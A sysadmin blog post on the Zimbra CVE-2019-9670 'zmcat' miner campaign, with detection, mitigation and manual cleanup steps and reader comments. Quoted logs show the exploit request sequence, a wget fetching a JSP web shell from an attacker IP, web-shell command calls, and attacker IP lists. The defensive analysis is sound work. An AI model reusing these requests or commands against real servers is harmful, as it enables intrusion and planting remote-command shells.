Zimbra CVE-2019-9670 being actively exploited: how to clean the “zmcat” infection

Some days ago Zimbra posted about a security vulnerability affecting all their versions. It’s a very severe bug because it’s exploitable on the http/https ports, which means you have no other means to keep you safe but by patching your installation! Zimbra released patches for 8.8.11P3, 8.7.11P10 and 8.6.0P13 versions. Technical details on the bug are here.

Of course everyone has its own matters, and it’s not always easy to schedule a downtime, but patch installation is very quick and almost risk free (at least for the ones I did so far), so patch ASAP!

The last call is very important, because in the last days an exploit has been found actively targeting and pwning unpatched Zimbra installations!

The exploit has been named zmcat, at least in IRC where I first learned about the exploiting campaign. The name comes from the executable being dropped on the machine, which is /tmp/zmcat. The executable appears to be a Bitcoin miner, according to Virustotal.com. Other than running this binary the exploit doesn’t seem to do any harm to the server to be noticed: no CPU activity, no IO.

zmcat is not the only file uploaded on the server. Two bash scripts, l.sh and s.sh are again in /tmp. Those two files are the download vector of the executable itself. The first run is s.sh, which fetches l.sh from 185.106.120.118. I’ve contacted HostSailor abuse department to alert them about the host spreading malware.

As said the s.sh script is used to download another bash file. Based on the user the script it’s run on it downloads l.sh for unprivileged user or r.sh for root. In our case the script is run as zimbra system user, so fetches l.sh.

l.sh is a more complex one, thus still a bit rough. It appears to be some cut&paste work, with basic bash knowledge. The main purpose of this script is to download zmcat, with a variation between 32 and 64 bit, and ensure the script itself and the executable is always running.

The first thing l.sh does is tweaking system setting /proc/sys/vm/nr_hugepages.
Then it downloads zmcat binary from the host above and places it in /tmp. When fetched it’s immediately executed.
For persistency the script tries to put itself in /etc/crontab and /etc/rc.local, but being run as zimbra user it’s not able to do it.

Other than this it places some jsp, .class and .java files in Zimbra.
Those files are used as command proxy: calling those JSP allow running server commands via GET requests. Some example commands being run are:

/opt/zimbra/bin/zmprov ca 1LiU@domain.com
wget -O /opt/zimbra/jetty/webapps/zimbra/public/jsp/ynwD.jsp http://87.236.233.105/reports/tmp.txt
/opt/zimbra/bin/zmprov da 1LiU@domain.com

zmcat detection

Detecting the infection is pretty easy: if you have some monitoring tool like Zabbix, you can automate it by checking the presence of /tmp/zmcat file. Here’s a sample template for detecting zmcat in Zabbix.

Other than this you can check Zimbra’s log files, namely mailbox.log and nginx.access.log. I.e. in nginx I found this:

104.168.158.113:48768 - - [02/Apr/2019:11:49:43 +0200]  "POST /AutoDiscover/ HTTP/1.1" 503 13388 "-" "python-requests/2.9.1" "10.0.0.5:8443"
104.168.158.113:48770 - - [02/Apr/2019:11:49:45 +0200]  "POST /service/soap HTTP/1.1" 200 1042 "-" "python-requests/2.9.1" "10.0.0.5:8443"
104.168.158.113:48772 - - [02/Apr/2019:11:49:47 +0200]  "POST /service/proxy?target=https://127.0.0.1:7071/service/admin/soap/ HTTP/1.1" 200 1057 "-" "python-requests/2.9.1" "1
 0.0.0.5:8443"
104.168.158.113:48774 - - [02/Apr/2019:11:49:49 +0200]  "POST /service/extension/clientUploader/upload HTTP/1.1" 200 292 "-" "python-requests/2.9.1" "10.0.0.5:8443"
104.168.158.113:48776 - - [02/Apr/2019:11:49:51 +0200]  "GET /downloads/PS1q.jsp?pwd=bduXyq HTTP/1.1" 200 468 "-" "python-requests/2.9.1" "10.0.0.5:8443"
104.168.158.113:48778 - - [02/Apr/2019:11:49:53 +0200]  "POST /downloads/PS1q.jsp?pwd=bduXyq HTTP/1.1" 200 469 "-" "python-requests/2.9.1" "10.0.0.5:8443"
104.168.158.113:48780 - - [02/Apr/2019:11:49:55 +0200]  "GET /img/ikDB.jsp?pwd=4BkLUS HTTP/1.1" 200 470 "-" "python-requests/2.9.1" "10.0.0.5:8443"

As you see POSTs are done against /service/proxy. While those requests might be legit, the user agent can help you discriminate exploiting attempts.

As said above the cracker also uses uploaded JSP files to execute commands on the server. You can find traces of this activities in /opt/zimbra/log/audit.log. As a blind shot you can search for downloads, and you’ll find the malicious jsp being called.
If you’re more intrigued and want to really know what has been done on your server you can go through audit.log and trace.log, you’ll find interesting things:

2019-03-28 06:20:57,744 INFO  [qtp127618319-179157:http://1.2.3.4/service/soap] [name=zimbra;oip=212.200.106.194;port=37946;ua=ZimbraWebClient - SAF3 (Win)/5.0.15_GA_2
851.RHEL5_64;] security - cmd=Auth; account=zimbra; protocol=soap;
2019-03-28 06:20:59,144 INFO  [qtp127618319-179166:https:https://localhost:7071/service/admin/soap/AuthRequest] [name=zimbra;ua=ZCS/8.7.11_GA_1854;] security - cmd=AdminAuth;
 account=zimbra;
2019-03-28 06:20:59,144 INFO  [qtp127618319-179166:https:https://localhost:7071/service/admin/soap/AuthRequest] [name=zimbra;ua=ZCS/8.7.11_GA_1854;] security - cmd=Auth; acco
unt=zimbra; protocol=soap;
2019-03-28 06:20:59,294 INFO  [qtp127618319-179164:https:https://127.0.0.1:7071/service/admin/soap] [name=zimbra;oip=212.200.106.194;ua=ZimbraWebClient - SAF3 (Win)/5.0.15_GA_2851.RHEL5_64;] security - cmd=AdminAuth; account=zimbra;
2019-03-28 06:20:59,295 INFO  [qtp127618319-179164:https:https://127.0.0.1:7071/service/admin/soap] [name=zimbra;oip=212.200.106.194;ua=ZimbraWebClient - SAF3 (Win)/5.0.15_GA_2851.RHEL5_64;] security - cmd=Auth; account=zimbra; protocol=soap;
2019-03-28 06:21:06,355 INFO  [qtp127618319-179171:https:https://127.0.0.1:7071/service/admin/soap] [name=zimbra;oip=212.200.106.194;] security - cmd=CreateAccount; name=1liu@domain.com;


2019-03-28 06:21:07,976 INFO  [qtp127618319-179165:http://1.2.3.4/downloads/LU4e.jsp] [] security - cmd=Auth; account=1liu@domain.com; protocol=http_basic;
2019-03-28 06:21:10,463 INFO  [qtp127618319-179170:http://1.2.3.4/downloads/LU4e.jsp?cmd=wget%20-O%20/opt/zimbra/jetty/webapps/zimbra/public/jsp/ynwD.jsp%20http://87.236.233.105/reports/tmp.txt] [] security - cmd=Auth; account=1liu@domain.com; protocol=http_basic;
2019-03-28 06:21:22,810 INFO  [qtp127618319-179139:http://1.2.3.4/downloads/LU4e.jsp?cmd=/opt/zimbra/bin/zmprov%20da%201LiU@domain.com] [] security - cmd=Auth; account=1liu@domain.com; protocol=http_basic;

Attack mitigation

The first and only valid defense is patching.

Given that I’m suggesting here a temporary solution which can help you gain time, but it’s very trivial and might be ineffective in short time.

Blocking user agent

From the log above all the automated requests come from a specific useragent: python-requests/1.1.0. By blocking this useragent you can prevent zmcat uploads.

Open /opt/zimbra/conf/nginx/templates/nginx.conf.web.http.default.template with an editor, just after the server { open bracket put the following lines:

if ($http_user_agent ~ (python-requests) ) { return 403; }

Do the same for the https template /opt/zimbra/conf/nginx/templates/nginx.conf.web.https.default.template and restart proxy service. It’s a weak test, but effective for the current campaign:

203.129.203.6:52843 - - [03/Apr/2019:17:41:01 +0200]  "GET /console/login/LoginForm.jsp HTTP/1.1" 403 310 "-" "python-requests/1.1.0 CPython/2.7.5 Linux/3.10.0-121.el7.x86_64" "-"

Firewall blocking

Another mitigation is to block traffic to and from the IPs where the jsp and sh are downloaded: 87.236.233.105 and 185.106.120.118 (update: This has been taken down by Hostsailor).
Again this is very weak, payload might be easily uploaded somewhere else.

Hide from search engines

Again not totally effective, but hiding from search engines can help you not being found by automated scripts.

zmprov mcf zimbraMailKeepOutWebCrawlers TRUE +zimbraResponseHeader "X-Robots-Tag: noindex"

This doesn’t work for other engines like Shodan, but generally I keep my webmail not searchable.

Cleanup zmcat

This is a little mess. JoBbZ on IRC wrote:

I hear the “best” thing to do if you got hacked is spin up a clean, patched system, and move the mailboxes over to it

But let’s not be so dramatic. 😅 Indeed different levels of compromisation have been reported on IRC and the forums. Most of the times new files were added to Zimbra, in some original ones were touched!

I’m reporting here what I gathered from personal experience and others’ feedback. Elaborate and decide yourself what to do, take snapshots/backups/rsync before proceding and anyway do it on your own responsibility, I shall not be liable of any damage you caused to your systems!

The most secure approach in restoring a compromised server is exactly what JoBzZ said above: spin up a new server, copy over data from the bad server, turn the new one live.

Another approach is to uninstall Zimbra (keeping your data!), wipe what’s left around except configuration, store, database and then do a software only install, followed by zmsetup. This is extremely dangerous and should be done only by expert administrators.

Then there’s manual cleanup. It’s the easiest approach because it doesn’t cause downtime, but can potentially leave traces of the infection around which can be used later to

  1. first of all patch Zimbra, and/or block the python useragent from uploading the crap again;
  2. kill all running processes of the two bash scripts and zmcat. An helpful command could be
    ps faux | grep l\.sh
    there might also be some wget processes running, kill them as well
  3. delete the sh scripts and zmcat from /tmp;
  4. now the hardest part: delete all the proxying jsp and java from /opt/zimbra.
    A very handy command, posted by lfasci on the forum, is:
    find /opt/zimbra/jetty/ -name "*.jsp" -mtime -15 -ls
    find /opt/zimbra/jetty/ -name “*_jsp.java” -mtime -15 -ls
    find /opt/zimbra/jetty/ -name “*.class” -mtime -15 -ls

    This will find all the JSP and JAVA files updated within the last 15 days. If you applied the patch in this timeframe some legit classes will show up, but compromised ones are quite easy to detect: the file name is four characters long and with random bits. From the log above you can spot downloads/LU4e.jsp, public/jsp/ynwD.jsp, downloads/PS1q.jsp.
    This is a manual process, unless you want to extract all the matching jsp pattern from the logs. Instead of deleting move the files to a temporary directory. To make sure they’re not Zimbra official files you can open them: if they look crap, all the code in one line without newlines, 99% it has to be moved away.
    Another automated check could be to compare the JSPs with the txt downloaded from 87[.]236.233.105 (the IP you find in the logs);
  5. again lfasci notices you might find a file named ZimbraApps.jsp: this is not part of Zimbra but it’s a file browser extensions (jspbrowser), which can potentially allow an attacker to browse your filesystem (again as zimbra user);
  6. verifying original Zimbra files can be done using package managers. In Ubuntu you can:
    apt install debsums
    dpkg -l zimbra* | grep ^ii | awk '{print $2}' | xargs debsums -c
    In RHEL/CentOS:
    rpm -qa zimbra* | xargs rpm -qV - | egrep -E '^.{2}5'
    The commands above will print all the files which MD5 is different from the one installed by packages. Some changes might be legit, so you have to manually inspect the files to see if they’re valid or not.

After cleanup it’s always a good idea to change LDAP password using zmldappasswd.

I hope this will help others. If you have improvements or corrections please let me know.

UPDATE 0900 CEST: Hostsailor replied me they blocked the host delivering zmcat binaries!
UPDATE 2023 CEST: added more details on the file and on how to find malicious JSP files
UPDATE apr 9th: added *_jsp.java files find as per Israeru comment
UPDATE apr 12th: added package MD5 verification and other recovery methods

14 pensieri su “Zimbra CVE-2019-9670 being actively exploited: how to clean the “zmcat” infection

  1. Hi,

    Thank you so much for this! This post is gold!!!

    I’ll share it asap with my customers that still did not upgrade.

    Sebas

  2. Hi,

    Thank you for the great analysis. It helped a lot!

    Right now I still see attacks from mainly 2 IPs:
    213[.]221.224.122
    85[.]234.126.92

    My Zimbra installations are 8.8 12, so they seem to withstand the attacks so far.

    Again, thank you!

  3. The hacker are putting more garbage in /opt/zimbra/jetty-distribution-version#/work/zimbra/org/apache/jsp/public_/jsp

    ????_jsp.class and ?????_jsp.java

      • The files in that directory are not identified as virus by any AV so far. I tried with virus total vt cli utility. Be aware that any file created recently are a host of the injector.

  4. Ip that I blacklisted :

    185[.]99.13375
    87[.]236.233.105
    185[.]106.120.118
    89[.]221.52.122
    181[.]148.183.75
    213[.]221.224.122
    85[.]234.126.92
    181.112.138.130
    104.168.158.114

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *

Solve : *
12 × 6 =


Questo sito usa Akismet per ridurre lo spam. Scopri come i tuoi dati vengono elaborati.